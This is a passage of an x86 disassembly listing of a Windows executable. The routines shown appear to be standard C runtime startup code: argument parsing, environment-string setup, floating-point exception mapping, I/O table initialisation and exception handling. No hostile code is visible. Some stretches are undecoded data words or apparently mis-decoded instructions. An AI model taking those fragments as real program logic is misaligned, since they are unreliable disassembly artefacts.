loc_417198: ; CODE XREF: sub_417022+161j
; sub_417022+166j
and ds:byte_460C80[eax], 0
loc_41719F: ; CODE XREF: sub_417022+15Cj
inc eax
cmp eax, esi
jb short loc_417162
loc_4171A4: ; CODE XREF: sub_417022+137j
pop esi
leave
retn
sub_417022 endp
; =============== S U B R O U T I N E =======================================
sub_4171A7 proc near ; CODE XREF: seg000:0041750Bp
; seg000:00417567p
; DATA XREF: ...
cmp ds:dword_460EAC, 0
jnz short locret_4171C2
push 0FFFFFFFDh
call sub_416DE3
pop ecx
mov ds:dword_460EAC, 1
locret_4171C2: ; CODE XREF: sub_4171A7+7j
retn
sub_4171A7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4171C3 proc near ; CODE XREF: sub_4121E8+2Bp
; sub_4121E8+A6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp ds:dword_460C7C, 0
push edi
mov edi, [ebp+arg_0]
mov [ebp+arg_0], edi
jnz short loc_4171E7
push [ebp+arg_8]
push [ebp+arg_4]
push edi
call sub_411D00
add esp, 0Ch
jmp short loc_41724A
; ---------------------------------------------------------------------------
loc_4171E7: ; CODE XREF: sub_4171C3+11j
mov edx, [ebp+arg_8]
push esi
test edx, edx
jz short loc_41722C
mov ecx, [ebp+arg_4]
loc_4171F2: ; CODE XREF: sub_4171C3+5Bj
mov al, [ecx]
dec edx
movzx esi, al
test ds:byte_460D81[esi], 4
mov [edi], al
jz short loc_417216
inc edi
inc ecx
test edx, edx
jz short loc_417222
mov al, [ecx]
dec edx
mov [edi], al
inc edi
inc ecx
test al, al
jz short loc_417228
jmp short loc_41721C
; ---------------------------------------------------------------------------
loc_417216: ; CODE XREF: sub_4171C3+3Ej
inc edi
inc ecx
test al, al
jz short loc_41722C
loc_41721C: ; CODE XREF: sub_4171C3+51j
test edx, edx
jnz short loc_4171F2
jmp short loc_41722C
; ---------------------------------------------------------------------------
loc_417222: ; CODE XREF: sub_4171C3+44j
and byte ptr [edi-1], 0
jmp short loc_41722C
; ---------------------------------------------------------------------------
loc_417228: ; CODE XREF: sub_4171C3+4Fj
and byte ptr [edi-2], 0
loc_41722C: ; CODE XREF: sub_4171C3+2Aj
; sub_4171C3+57j ...
mov eax, edx
dec edx
test eax, eax
pop esi
jz short loc_417247
lea ecx, [edx+1]
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
loc_417247: ; CODE XREF: sub_4171C3+6Fj
mov eax, [ebp+arg_0]
loc_41724A: ; CODE XREF: sub_4171C3+22j
pop edi
pop ebp
retn
sub_4171C3 endp
; =============== S U B R O U T I N E =======================================
sub_41724D proc near ; CODE XREF: sub_41249F+16p
; sub_4126F3+1Dp ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
xor edx, edx
mov ds:dword_45F848, ecx
mov eax, offset dword_42E600
loc_41725E: ; CODE XREF: sub_41724D+1Ej
cmp ecx, [eax]
jz short loc_417282
add eax, 8
inc edx
cmp eax, offset dword_42E768
jl short loc_41725E
cmp ecx, 13h
jb short loc_41728F
cmp ecx, 24h
ja short loc_41728F
mov ds:dword_45F844, 0Dh
retn
; ---------------------------------------------------------------------------
loc_417282: ; CODE XREF: sub_41724D+13j
mov eax, ds:dword_42E604[edx*8]
mov ds:dword_45F844, eax
retn
; ---------------------------------------------------------------------------
loc_41728F: ; CODE XREF: sub_41724D+23j
; sub_41724D+28j
cmp ecx, 0BCh
jb short loc_4172A9
cmp ecx, 0CAh
mov ds:dword_45F844, 8
jbe short locret_4172B3
loc_4172A9: ; CODE XREF: sub_41724D+48j
mov ds:dword_45F844, 16h
locret_4172B3: ; CODE XREF: sub_41724D+5Aj
retn
sub_41724D endp
; =============== S U B R O U T I N E =======================================
sub_4172B4 proc near ; CODE XREF: sub_41271D+8p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push dword ptr [esi+10h]
call sub_417F9D
test eax, eax
pop ecx
jz short loc_41733D
cmp esi, offset dword_42E8A8
jnz short loc_4172D2
xor eax, eax
jmp short loc_4172DD
; ---------------------------------------------------------------------------
loc_4172D2: ; CODE XREF: sub_4172B4+18j
cmp esi, offset dword_42E8C8
jnz short loc_41733D
push 1
pop eax
loc_4172DD: ; CODE XREF: sub_4172B4+1Cj
inc ds:dword_45FA04
test word ptr [esi+0Ch], 10Ch
jnz short loc_41733D
cmp ds:dword_45F8EC[eax*4], 0
push ebx
push edi
lea edi, ds:45F8ECh[eax*4]
mov ebx, 1000h
jnz short loc_417323
push ebx
call sub_410C0F
test eax, eax
pop ecx
mov [edi], eax
jnz short loc_417323
lea eax, [esi+14h]
push 2
mov [esi+8], eax
mov [esi], eax
pop eax
mov [esi+18h], eax
mov [esi+4], eax
jmp short loc_417330
; ---------------------------------------------------------------------------
loc_417323: ; CODE XREF: sub_4172B4+4Dj
; sub_4172B4+5Aj
mov edi, [edi]
mov [esi+18h], ebx
mov [esi+8], edi
mov [esi], edi
mov [esi+4], ebx
loc_417330: ; CODE XREF: sub_4172B4+6Dj
or word ptr [esi+0Ch], 1102h
push 1
pop eax
pop edi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41733D: ; CODE XREF: sub_4172B4+10j
; sub_4172B4+24j ...
xor eax, eax
pop esi
retn
sub_4172B4 endp
; =============== S U B R O U T I N E =======================================
sub_417341 proc near ; CODE XREF: sub_41271D+24p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0
push esi
jz short loc_41736B
mov esi, [esp+4+arg_4]
test byte ptr [esi+0Dh], 10h
jz short loc_41737C
push esi
call sub_416419
and byte ptr [esi+0Dh], 0EEh
and dword ptr [esi+18h], 0
and dword ptr [esi], 0
and dword ptr [esi+8], 0
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41736B: ; CODE XREF: sub_417341+6j
mov eax, [esp+4+arg_4]
test byte ptr [eax+0Dh], 10h
jz short loc_41737C
push eax
call sub_416419
pop ecx
loc_41737C: ; CODE XREF: sub_417341+10j
; sub_417341+32j
pop esi
retn
sub_417341 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push dword ptr [ebp+8]
call sub_4174BF
test eax, eax
pop ecx
jz loc_4174B3
mov ebx, [eax+8]
test ebx, ebx
jz loc_4174B3
cmp ebx, 5
jnz short loc_4173AF
and dword ptr [eax+8], 0
push 1
pop eax
jmp loc_4174BC
; ---------------------------------------------------------------------------
loc_4173AF: ; CODE XREF: seg000:004173A1j
cmp ebx, 1
jz loc_4174AE
mov ecx, ds:dword_45F8F4
mov [ebp+8], ecx
mov ecx, [ebp+0Ch]
mov ds:dword_45F8F4, ecx
mov ecx, [eax+4]
cmp ecx, 8
jnz loc_41749E
mov ecx, ds:dword_42E7E0
mov edx, ds:dword_42E7E4
add edx, ecx
push esi
cmp ecx, edx
jge short loc_4173FE
lea esi, [ecx+ecx*2]
sub edx, ecx
lea esi, ds:42E770h[esi*4]
loc_4173F5: ; CODE XREF: seg000:004173FCj
and dword ptr [esi], 0
add esi, 0Ch
dec edx
jnz short loc_4173F5
loc_4173FE: ; CODE XREF: seg000:004173E7j
mov eax, [eax]
mov esi, ds:dword_42E7EC
cmp eax, 0C000008Eh
jnz short loc_417419
mov ds:dword_42E7EC, 83h
jmp short loc_417489
; ---------------------------------------------------------------------------
loc_417419: ; CODE XREF: seg000:0041740Bj
cmp eax, 0C0000090h
jnz short loc_41742C
mov ds:dword_42E7EC, 81h
jmp short loc_417489
; ---------------------------------------------------------------------------
loc_41742C: ; CODE XREF: seg000:0041741Ej
cmp eax, 0C0000091h
jnz short loc_41743F
mov ds:dword_42E7EC, 84h
jmp short loc_417489
; ---------------------------------------------------------------------------
loc_41743F: ; CODE XREF: seg000:00417431j
cmp eax, 0C0000093h
jnz short loc_417452
mov ds:dword_42E7EC, 85h
jmp short loc_417489
; ---------------------------------------------------------------------------
loc_417452: ; CODE XREF: seg000:00417444j
cmp eax, 0C000008Dh
jnz short loc_417465
mov ds:dword_42E7EC, 82h
jmp short loc_417489
; ---------------------------------------------------------------------------
loc_417465: ; CODE XREF: seg000:00417457j
cmp eax, 0C000008Fh
jnz short loc_417478
mov ds:dword_42E7EC, 86h
jmp short loc_417489
; ---------------------------------------------------------------------------
loc_417478: ; CODE XREF: seg000:0041746Aj
cmp eax, 0C0000092h
jnz short loc_417489
mov ds:dword_42E7EC, 8Ah
loc_417489: ; CODE XREF: seg000:00417417j
; seg000:0041742Aj ...
push ds:dword_42E7EC
push 8
call ebx
pop ecx
mov ds:dword_42E7EC, esi
pop ecx
pop esi
jmp short loc_4174A6
; ---------------------------------------------------------------------------
loc_41749E: ; CODE XREF: seg000:004173D0j
and dword ptr [eax+8], 0
push ecx
call ebx
pop ecx
loc_4174A6: ; CODE XREF: seg000:0041749Cj
mov eax, [ebp+8]
mov ds:dword_45F8F4, eax
loc_4174AE: ; CODE XREF: seg000:004173B2j
or eax, 0FFFFFFFFh
jmp short loc_4174BC
; ---------------------------------------------------------------------------
loc_4174B3: ; CODE XREF: seg000:0041738Dj
; seg000:00417398j
push dword ptr [ebp+0Ch]
call ds:dword_41C188 ; UnhandledExceptionFilter
loc_4174BC: ; CODE XREF: seg000:004173AAj
; seg000:004174B1j
pop ebx
pop ebp
retn
; =============== S U B R O U T I N E =======================================
sub_4174BF proc near ; CODE XREF: seg000:00417385p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, ds:dword_42E7E8
cmp ds:dword_42E768, edx
push esi
mov eax, offset dword_42E768
jz short loc_4174EC
lea esi, [ecx+ecx*2]
lea esi, ds:42E768h[esi*4]
loc_4174E1: ; CODE XREF: sub_4174BF+2Bj
add eax, 0Ch
cmp eax, esi
jnb short loc_4174EC
cmp [eax], edx
jnz short loc_4174E1
loc_4174EC: ; CODE XREF: sub_4174BF+16j
; sub_4174BF+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:42E768h[ecx*4]
cmp eax, ecx
jnb short loc_4174FF
cmp [eax], edx
jz short locret_417501
loc_4174FF: ; CODE XREF: sub_4174BF+3Aj
xor eax, eax
locret_417501: ; CODE XREF: sub_4174BF+3Ej
retn
sub_4174BF endp
; ---------------------------------------------------------------------------
cmp ds:dword_460EAC, 0
jnz short loc_417510
call sub_4171A7
loc_417510: ; CODE XREF: seg000:00417509j
push esi
mov esi, ds:dword_460EA4
mov al, [esi]
cmp al, 22h
jnz short loc_417542
loc_41751D: ; CODE XREF: seg000:00417535j
; seg000:00417538j
mov al, [esi+1]
inc esi
cmp al, 22h
jz short loc_41753A
test al, al
jz short loc_41753A
movzx eax, al
push eax
call sub_41959F
test eax, eax
pop ecx
jz short loc_41751D
inc esi
jmp short loc_41751D
; ---------------------------------------------------------------------------
loc_41753A: ; CODE XREF: seg000:00417523j
; seg000:00417527j
cmp byte ptr [esi], 22h
jnz short loc_41754C
loc_41753F: ; CODE XREF: seg000:00417554j
inc esi
jmp short loc_41754C
; ---------------------------------------------------------------------------
loc_417542: ; CODE XREF: seg000:0041751Bj
cmp al, 20h
jbe short loc_41754C
loc_417546: ; CODE XREF: seg000:0041754Aj
inc esi
cmp byte ptr [esi], 20h
ja short loc_417546
loc_41754C: ; CODE XREF: seg000:0041753Dj
; seg000:00417540j ...
mov al, [esi]
test al, al
jz short loc_417556
cmp al, 20h
jbe short loc_41753F
loc_417556: ; CODE XREF: seg000:00417550j
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
push ebx
xor ebx, ebx
cmp ds:dword_460EAC, ebx
push esi
push edi
jnz short loc_41756C
call sub_4171A7
loc_41756C: ; CODE XREF: seg000:00417565j
mov esi, ds:dword_45F890
xor edi, edi
loc_417574: ; CODE XREF: seg000:0041758Aj
mov al, [esi]
cmp al, bl
jz short loc_41758C
cmp al, 3Dh
jz short loc_41757F
inc edi
loc_41757F: ; CODE XREF: seg000:0041757Cj
push esi
call sub_410B60
pop ecx
lea esi, [esi+eax+1]
jmp short loc_417574
; ---------------------------------------------------------------------------
loc_41758C: ; CODE XREF: seg000:00417578j
lea eax, ds:4[edi*4]
push eax
call sub_410C0F
mov esi, eax
pop ecx
cmp esi, ebx
mov ds:dword_45F86C, esi
jnz short loc_4175AE
push 9
call sub_412ADE
pop ecx
loc_4175AE: ; CODE XREF: seg000:004175A4j
mov edi, ds:dword_45F890
cmp [edi], bl
jz short loc_4175F1
push ebp
loc_4175B9: ; CODE XREF: seg000:004175EEj
push edi
call sub_410B60
mov ebp, eax
pop ecx
inc ebp
cmp byte ptr [edi], 3Dh
jz short loc_4175EA
push ebp
call sub_410C0F
cmp eax, ebx
pop ecx
mov [esi], eax
jnz short loc_4175DD
push 9
call sub_412ADE
pop ecx
loc_4175DD: ; CODE XREF: seg000:004175D3j
push edi
push dword ptr [esi]
call sub_411B70
pop ecx
add esi, 4
pop ecx
loc_4175EA: ; CODE XREF: seg000:004175C6j
add edi, ebp
cmp [edi], bl
jnz short loc_4175B9
pop ebp
loc_4175F1: ; CODE XREF: seg000:004175B6j
push ds:dword_45F890
call sub_410C83
pop ecx
mov ds:dword_45F890, ebx
mov [esi], ebx
pop edi
pop esi
mov ds:dword_460EA8, 1
pop ebx
retn
; ---------------------------------------------------------------------------
db 55h
dd 5151EC8Bh, 39DB3353h, 460EAC1Dh, 75575600h, 0FB7DE805h
dd 0F8BEFFFFh, 680045F8h, 104h, 0C9E85356h, 0F3008E89h
dd 460EA4A1h, 7C358900h, 8B0045F8h, 741838FEh, 8DF88B02h
dd 8D50F845h, 5350FC45h, 4DE85753h, 8B000000h, 4D8BF845h
dd 88048DFCh, 95A1E850h, 0F08BFFFFh, 3B18C483h, 6A0875F3h
dd 0B460E808h, 8D59FFFFh, 8D50F845h, 8B50FC45h, 48DFC45h
dd 57565086h, 17E8h, 0FC458B00h, 4814C483h, 0F8643589h
dd 5E5F0045h, 45F860A3h, 0C3C95B00h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4176AC proc near
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_10]
mov eax, [ebp+arg_C]
push ebx
push esi
and dword ptr [ecx], 0
mov esi, [ebp+arg_8]
push edi
mov edi, [ebp+arg_4]
mov dword ptr [eax], 1
mov eax, [ebp+arg_0]
test edi, edi
jz short loc_4176D6
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_4176D6: ; CODE XREF: sub_4176AC+20j
cmp byte ptr [eax], 22h
jnz short loc_41771F
loc_4176DB: ; CODE XREF: sub_4176AC+58j
; sub_4176AC+5Fj
mov dl, [eax+1]
inc eax
cmp dl, 22h
jz short loc_41770D
test dl, dl
jz short loc_41770D
movzx edx, dl
test ds:byte_460D81[edx], 4
jz short loc_417700
inc dword ptr [ecx]
test esi, esi
jz short loc_417700
mov dl, [eax]
mov [esi], dl
inc esi
inc eax
loc_417700: ; CODE XREF: sub_4176AC+46j
; sub_4176AC+4Cj
inc dword ptr [ecx]
test esi, esi
jz short loc_4176DB
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_4176DB
; ---------------------------------------------------------------------------
loc_41770D: ; CODE XREF: sub_4176AC+36j
; sub_4176AC+3Aj
inc dword ptr [ecx]
test esi, esi
jz short loc_417717
and byte ptr [esi], 0
inc esi
loc_417717: ; CODE XREF: sub_4176AC+65j
cmp byte ptr [eax], 22h
jnz short loc_417762
inc eax
jmp short loc_417762
; ---------------------------------------------------------------------------
loc_41771F: ; CODE XREF: sub_4176AC+2Dj
; sub_4176AC+A5j
inc dword ptr [ecx]
test esi, esi
jz short loc_41772A
mov dl, [eax]
mov [esi], dl
inc esi
loc_41772A: ; CODE XREF: sub_4176AC+77j
mov dl, [eax]
inc eax
movzx ebx, dl
test ds:byte_460D81[ebx], 4
jz short loc_417745
inc dword ptr [ecx]
test esi, esi
jz short loc_417744
mov bl, [eax]
mov [esi], bl
inc esi
loc_417744: ; CODE XREF: sub_4176AC+91j
inc eax
loc_417745: ; CODE XREF: sub_4176AC+8Bj
cmp dl, 20h
jz short loc_417753
test dl, dl
jz short loc_417757
cmp dl, 9
jnz short loc_41771F
loc_417753: ; CODE XREF: sub_4176AC+9Cj
test dl, dl
jnz short loc_41775A
loc_417757: ; CODE XREF: sub_4176AC+A0j
dec eax
jmp short loc_417762
; ---------------------------------------------------------------------------
loc_41775A: ; CODE XREF: sub_4176AC+A9j
test esi, esi
jz short loc_417762
and byte ptr [esi-1], 0
loc_417762: ; CODE XREF: sub_4176AC+6Ej
; sub_4176AC+71j ...
and [ebp+arg_10], 0
loc_417766: ; CODE XREF: sub_4176AC+19Ej
cmp byte ptr [eax], 0
jz loc_41784F
loc_41776F: ; CODE XREF: sub_4176AC+D0j
mov dl, [eax]
cmp dl, 20h
jz short loc_41777B
cmp dl, 9
jnz short loc_41777E
loc_41777B: ; CODE XREF: sub_4176AC+C8j
inc eax
jmp short loc_41776F
; ---------------------------------------------------------------------------
loc_41777E: ; CODE XREF: sub_4176AC+CDj
cmp byte ptr [eax], 0
jz loc_41784F
test edi, edi
jz short loc_417793
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_417793: ; CODE XREF: sub_4176AC+DDj
mov edx, [ebp+arg_C]
inc dword ptr [edx]
loc_417798: ; CODE XREF: sub_4176AC+18Fj
mov [ebp+arg_0], 1
xor ebx, ebx
loc_4177A1: ; CODE XREF: sub_4176AC+FCj
cmp byte ptr [eax], 5Ch
jnz short loc_4177AA
inc eax
inc ebx
jmp short loc_4177A1
; ---------------------------------------------------------------------------
loc_4177AA: ; CODE XREF: sub_4176AC+F8j
cmp byte ptr [eax], 22h
jnz short loc_4177DB
test bl, 1
jnz short loc_4177D9
xor edi, edi
cmp [ebp+arg_10], edi
jz short loc_4177C8
cmp byte ptr [eax+1], 22h
lea edx, [eax+1]
jnz short loc_4177C8
mov eax, edx
jmp short loc_4177CB
; ---------------------------------------------------------------------------
loc_4177C8: ; CODE XREF: sub_4176AC+10Dj
; sub_4176AC+116j
mov [ebp+arg_0], edi
loc_4177CB: ; CODE XREF: sub_4176AC+11Aj
mov edi, [ebp+arg_4]
xor edx, edx
cmp [ebp+arg_10], edx
setz dl
mov [ebp+arg_10], edx
loc_4177D9: ; CODE XREF: sub_4176AC+106j
shr ebx, 1
loc_4177DB: ; CODE XREF: sub_4176AC+101j
mov edx, ebx
dec ebx
test edx, edx
jz short loc_4177F0
inc ebx
loc_4177E3: ; CODE XREF: sub_4176AC+142j
test esi, esi
jz short loc_4177EB
mov byte ptr [esi], 5Ch
inc esi
loc_4177EB: ; CODE XREF: sub_4176AC+139j
inc dword ptr [ecx]
dec ebx
jnz short loc_4177E3
loc_4177F0: ; CODE XREF: sub_4176AC+134j
mov dl, [eax]
test dl, dl
jz short loc_417840
cmp [ebp+arg_10], 0
jnz short loc_417806
cmp dl, 20h
jz short loc_417840
cmp dl, 9
jz short loc_417840
loc_417806: ; CODE XREF: sub_4176AC+14Ej
cmp [ebp+arg_0], 0
jz short loc_41783A
test esi, esi
jz short loc_417829
movzx ebx, dl
test ds:byte_460D81[ebx], 4
jz short loc_417822
mov [esi], dl
inc esi
inc eax
inc dword ptr [ecx]
loc_417822: ; CODE XREF: sub_4176AC+16Ej
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_417838
; ---------------------------------------------------------------------------
loc_417829: ; CODE XREF: sub_4176AC+162j
movzx edx, dl
test ds:byte_460D81[edx], 4
jz short loc_417838
inc eax
inc dword ptr [ecx]
loc_417838: ; CODE XREF: sub_4176AC+17Bj
; sub_4176AC+187j
inc dword ptr [ecx]
loc_41783A: ; CODE XREF: sub_4176AC+15Ej
inc eax
jmp loc_417798
; ---------------------------------------------------------------------------
loc_417840: ; CODE XREF: sub_4176AC+148j
; sub_4176AC+153j ...
test esi, esi
jz short loc_417848
and byte ptr [esi], 0
inc esi
loc_417848: ; CODE XREF: sub_4176AC+196j
inc dword ptr [ecx]
jmp loc_417766
; ---------------------------------------------------------------------------
loc_41784F: ; CODE XREF: sub_4176AC+BDj
; sub_4176AC+D5j
test edi, edi
jz short loc_417856
and dword ptr [edi], 0
loc_417856: ; CODE XREF: sub_4176AC+1A5j
mov eax, [ebp+arg_C]
pop edi
pop esi
pop ebx
inc dword ptr [eax]
pop ebp
retn
sub_4176AC endp
; ---------------------------------------------------------------------------
push ecx
push ecx
mov eax, ds:dword_45F9FC
push ebx
push ebp
mov ebp, ds:dword_41C03C
push esi
push edi
xor ebx, ebx
xor esi, esi
xor edi, edi
cmp eax, ebx
jnz short loc_4178AE
call ebp ; GetEnvironmentStringsW
mov esi, eax
cmp esi, ebx
jz short loc_41788F
mov ds:dword_45F9FC, 1
jmp short loc_4178B7
; ---------------------------------------------------------------------------
loc_41788F: ; CODE XREF: seg000:00417881j
call ds:dword_41C040 ; GetEnvironmentStringsA
mov edi, eax
cmp edi, ebx
jz loc_417989
mov ds:dword_45F9FC, 2
jmp loc_41793D
; ---------------------------------------------------------------------------
loc_4178AE: ; CODE XREF: seg000:00417879j
cmp eax, 1
jnz loc_417938
loc_4178B7: ; CODE XREF: seg000:0041788Dj
cmp esi, ebx
jnz short loc_4178C7
call ebp ; GetEnvironmentStringsW
mov esi, eax
cmp esi, ebx
jz loc_417989
loc_4178C7: ; CODE XREF: seg000:004178B9j
cmp [esi], bx
mov eax, esi
jz short loc_4178DC
loc_4178CE: ; CODE XREF: seg000:004178D3j
; seg000:004178DAj
inc eax
inc eax
cmp [eax], bx
jnz short loc_4178CE
inc eax
inc eax
cmp [eax], bx
jnz short loc_4178CE
loc_4178DC: ; CODE XREF: seg000:004178CCj
sub eax, esi
mov edi, ds:dword_41C11C
sar eax, 1
push ebx
push ebx
inc eax
push ebx
push ebx
push eax
push esi
push ebx
push ebx
mov [esp+34h], eax
call edi ; WideCharToMultiByte
mov ebp, eax
cmp ebp, ebx
jz short loc_41792D
push ebp
call sub_410C0F
cmp eax, ebx
pop ecx
mov [esp+10h], eax
jz short loc_41792D
push ebx
push ebx
push ebp
push eax
push dword ptr [esp+24h]
push esi
push ebx
push ebx
call edi ; WideCharToMultiByte
test eax, eax
jnz short loc_417929
push dword ptr [esp+10h]
call sub_410C83
pop ecx
mov [esp+10h], ebx
loc_417929: ; CODE XREF: seg000:00417919j
mov ebx, [esp+10h]
loc_41792D: ; CODE XREF: seg000:004178F9j
; seg000:00417908j
push esi
call ds:dword_41C044 ; FreeEnvironmentStringsW
mov eax, ebx
jmp short loc_41798B
; ---------------------------------------------------------------------------
loc_417938: ; CODE XREF: seg000:004178B1j
cmp eax, 2
jnz short loc_417989
loc_41793D: ; CODE XREF: seg000:004178A9j
cmp edi, ebx
jnz short loc_41794D
call ds:dword_41C040 ; GetEnvironmentStringsA
mov edi, eax
cmp edi, ebx
jz short loc_417989
loc_41794D: ; CODE XREF: seg000:0041793Fj
cmp [edi], bl
mov eax, edi
jz short loc_41795D
loc_417953: ; CODE XREF: seg000:00417956j
; seg000:0041795Bj
inc eax
cmp [eax], bl
jnz short loc_417953
inc eax
cmp [eax], bl
jnz short loc_417953
loc_41795D: ; CODE XREF: seg000:00417951j
sub eax, edi
inc eax
mov ebp, eax
push ebp
call sub_410C0F
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_417973
xor esi, esi
jmp short loc_41797E
; ---------------------------------------------------------------------------
loc_417973: ; CODE XREF: seg000:0041796Dj
push ebp
push edi
push esi
call sub_4105F0
add esp, 0Ch
loc_41797E: ; CODE XREF: seg000:00417971j
push edi
call near ptr 3E0000h
mov ebx, 2EBC68Bh
loc_417989: ; CODE XREF: seg000:00417899j
; seg000:004178C1j ...
xor eax, eax
loc_41798B: ; CODE XREF: seg000:00417936j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_417992: ; CODE XREF: seg000:00412A57p
sub esp, 44h
push ebx
push ebp
push esi
push edi
push 100h
call sub_410C0F
mov esi, eax
pop ecx
test esi, esi
jnz short loc_4179B2
push 1Bh
call sub_412ADE
pop ecx
loc_4179B2: ; CODE XREF: seg000:004179A8j
mov ds:dword_460B60, esi
mov ds:dword_460C60, 20h
lea eax, [esi+100h]
loc_4179C8: ; CODE XREF: seg000:004179E4j
cmp esi, eax
jnb short loc_4179E6
and byte ptr [esi+4], 0
or dword ptr [esi], 0FFFFFFFFh
mov byte ptr [esi+5], 0Ah
mov eax, ds:dword_460B60
add esi, 8
add eax, 100h
jmp short loc_4179C8
; ---------------------------------------------------------------------------
loc_4179E6: ; CODE XREF: seg000:004179CAj
lea eax, [esp+10h]
push eax
call near ptr 0C00004h
mov eax, ds:247C8366h
inc edx
add [edi], cl
test al, ch
; ---------------------------------------------------------------------------
dw 0
dd 24448B00h, 0FC08544h, 0B984h, 8D308B00h, 0B80468h, 3B000008h
dd 2E1C8DF0h, 0F08B027Ch, 0C603539h, 527D0046h, 460B64BFh
dd 1006800h, 0DCE80000h, 85FFFF91h, 387459C0h, 0C600583h
dd 89200046h, 888D07h, 3B000001h, 801873C1h, 83000460h
dd 40C6FF08h, 0F8B0A05h, 8108C083h, 100C1h, 83E4EB00h
dd 353904C7h, 460C60h, 6EBBB7Ch, 0C60358Bh, 0FF330046h
dd 467EF685h, 0F883038Bh, 8A3674FFh, 0C1F6004Dh, 0F62E7401h
dd 0B7508C1h, 856AE850h, 8553FFFCh, 8B1E74C0h, 0C1CF8BC7h
dd 0E18305F8h, 85048B1Fh, 460B60h, 8BC8048Dh, 8A08890Bh
dd 4888004Dh, 83454704h, 0FE3B04C3h, 0DB33BA7Ch, 460B60A1h
dd 0D83C8300h, 0D8348DFFh, 0DB854D75h, 810446C6h, 0F66A0575h
dd 8B0AEB58h, 0D8F748C3h, 0C083C01Bh, 15E850F5h, 61008085h
dd 0FF83F88Bh, 571774FFh, 828507E8h, 0C0853800h, 0FF250C74h
dd 89000000h, 2F8833Eh, 4E800675h, 0FEB4004h, 7503F883h
dd 44E800Ah, 8004EB08h, 4380044Eh, 7C03FB83h, 6035FF9Bh
dd 0E800460Ch, 8484D0h, 5D5E5F07h, 44C4835Bh, 0CCCCCCC3h
dd 30324356h, 30304358h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417B48 proc near ; DATA XREF: seg000:004129F2o
; sub_4150ED+Ao ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
cld
mov ebx, [ebp+arg_4]
mov eax, [ebp+arg_0]
test dword ptr [eax+4], 6
jnz loc_417BE8
mov [ebp+var_8], eax
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
lea eax, [ebp+var_8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_417B7B: ; CODE XREF: sub_417B48+90j
cmp esi, 0FFFFFFFFh
jz short loc_417BE1
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_417BCF
push esi
push ebp
lea ebp, [ebx+10h]
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+arg_4]
or eax, eax
jz short loc_417BCF
js short loc_417BDA
mov edi, [ebx+8]
push ebx
call sub_4111B0
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_4111F2
add esp, 8
lea ecx, [esi+esi*2]
push 1
mov eax, [edi+ecx*4+8]
call sub_411286
mov eax, [edi+ecx*4]
mov [ebx+0Ch], eax
call dword ptr [edi+ecx*4+8]
loc_417BCF: ; CODE XREF: sub_417B48+40j
; sub_417B48+52j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp short loc_417B7B
; ---------------------------------------------------------------------------
loc_417BDA: ; CODE XREF: sub_417B48+54j
mov eax, 0
jmp short loc_417BFD
; ---------------------------------------------------------------------------
loc_417BE1: ; CODE XREF: sub_417B48+36j
mov eax, 1
jmp short loc_417BFD
; ---------------------------------------------------------------------------
loc_417BE8: ; CODE XREF: sub_417B48+18j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_4111F2
add esp, 8
pop ebp
mov eax, 1
loc_417BFD: ; CODE XREF: sub_417B48+97j
; sub_417B48+9Ej
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_417B48 endp
; ---------------------------------------------------------------------------
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
mov eax, [ecx+1Ch]
push eax
mov eax, [ecx+18h]
push eax
call sub_4111F2
add esp, 8
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
sub_417C20 proc near ; CODE XREF: sub_412ADE+9p
; sub_412B03+9p
mov eax, ds:dword_45F898
cmp eax, 1
jz short loc_417C37
test eax, eax
jnz short locret_417C58
cmp ds:dword_42E184, 1
jnz short locret_417C58
loc_417C37: ; CODE XREF: sub_417C20+8j
push 0FCh
call near ptr sub_417C59
mov eax, ds:dword_45FA00
pop ecx
test eax, eax
jz short loc_417C4D
call eax
loc_417C4D: ; CODE XREF: sub_417C20+29j
push 0FFh
call near ptr sub_417C59
pop ecx
locret_417C58: ; CODE XREF: sub_417C20+Cj
; sub_417C20+15j
retn
sub_417C20 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417C59 proc far ; CODE XREF: sub_412ADE+12p
; sub_412B03+12p ...
var_72EC8A40 = byte ptr -72EC8A40h
